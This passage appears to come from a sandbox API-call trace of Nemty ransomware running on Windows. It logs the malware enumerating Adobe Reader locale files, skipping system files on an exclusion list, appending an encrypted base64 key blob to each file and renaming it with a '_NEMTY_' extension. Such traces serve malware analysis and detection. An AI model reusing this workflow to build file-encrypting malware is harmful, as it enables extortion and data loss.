cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.396] Sleep (dwMilliseconds=0x5) [0184.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x218fa290, dwHighDateTime=0x1d561e8)) [0184.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x218fa290, dwHighDateTime=0x1d561e8)) [0184.405] GetLastError () returned 0x0 [0184.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.405] GetLastError () returned 0x0 [0184.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.406] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.406] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="AdQrpgzmJq4IousEdV7fbbFPemgb2Cv5ZkGO88k7goU3aa384OlLG+bd9w8G7ncn\r\nU0/NLIC5y04zAJE70v65WpUjsfdBjQM5ShcEAXQhz7pdkUjnBiuSBImSHFDA0JFQ\r\nhosIYuTC0tXnBKu2dD4F4SIgqIta7AFJvZgSIyoG5oJvRxIqpxQ4usEghv6uNNsb\r\nJpRVw52fI2sjbwPa/NLJ/D9Z+6wivAnK2yGEOMXfCZDAH1OmM1bE3CmcJErX+LHa\r\naH/75c4ZrFMGJUzwb58PkvdoW33sp2tYEEeVCax1IcpNU65OlqxbNBQhyH9Dm4AC\r\nJmSfO7rcYdx9qckEFE9Mig==\r\n", pcchString=0x653e5dc) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\annots.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.406] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=486400) returned 1 [0184.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.407] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.407] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.416] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.416] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.416] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=486400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x76c00 [0184.417] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.418] CloseHandle (hObject=0x2e8) returned 1 [0184.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.418] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\annots.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\annots.sve._nemty_kgobjgd_")) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.420] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.SVE", cAlternateFileName="BRDLAN~1.SVE")) returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2=".") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="..") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="...") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="windows") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="rsa") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="NTDETECT.COM") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="ntldr") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="MSDOS.SYS") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="IO.SYS") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="boot.ini") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="boot.ini") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="ntuser.dat") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="desktop.ini") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="CONFIG.SYS") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="RECYCLER") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="bootmgr") returned 1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="programdata") returned -1 [0184.420] lstrcmpiW (lpString1="BRdlang32.SVE", lpString2="appdata") returned 1 [0184.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SVE", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.421] Sleep (dwMilliseconds=0x5) [0184.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21946550, dwHighDateTime=0x1d561e8)) [0184.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21946550, dwHighDateTime=0x1d561e8)) [0184.437] GetLastError () returned 0x0 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.437] GetLastError () returned 0x0 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.437] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.437] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.437] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.437] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4v86gJRyYJ1qYuc8PMY5W+AW+kyf3daw7J29t4Zox0STJrpEtobVHyutNokR4dk3\r\nJ9dI0DAx5NhDVqHgcrn39iZbnurddZlzKkVAwTwyDZzR3sRFE6Tzf4RKnymLf63d\r\nMkSehZCFWKyPyLFCU4CiMIKQ0HZCFOnF0pK/DP/OXD0d8jL6+l4Jv5lxSasIVykv\r\ngkb0o5ZgM4IUMI4UIleIH9AMkC3aKBhRfNQIJszlbR+Dx3d/d6FVKEWPEIXeYNeD\r\nRF/GzjltjThExUMIltTIcTAAi7ux7bFAqi+0/l32QzXK86zsCXUrnrDnVzeIGiSf\r\ntUZHVX31hBv+ecoO3fvbOw==\r\n", pcchString=0x653e5dc) returned 1 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\brdlang32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.438] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0184.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0184.438] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.438] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0184.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0184.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0184.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.441] CloseHandle (hObject=0x2e8) returned 1 [0184.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.442] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\brdlang32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\brdlang32.sve._nemty_kgobjgd_")) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.442] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.SVE", cAlternateFileName="")) returned 1 [0184.442] lstrcmpiW (lpString1="Checkers.SVE", lpString2=".") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="..") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="...") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="windows") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="rsa") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="NTDETECT.COM") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="ntldr") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="MSDOS.SYS") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="IO.SYS") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="boot.ini") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="boot.ini") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="ntuser.dat") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="desktop.ini") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="CONFIG.SYS") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="RECYCLER") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="bootmgr") returned 1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="programdata") returned -1 [0184.443] lstrcmpiW (lpString1="Checkers.SVE", lpString2="appdata") returned 1 [0184.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 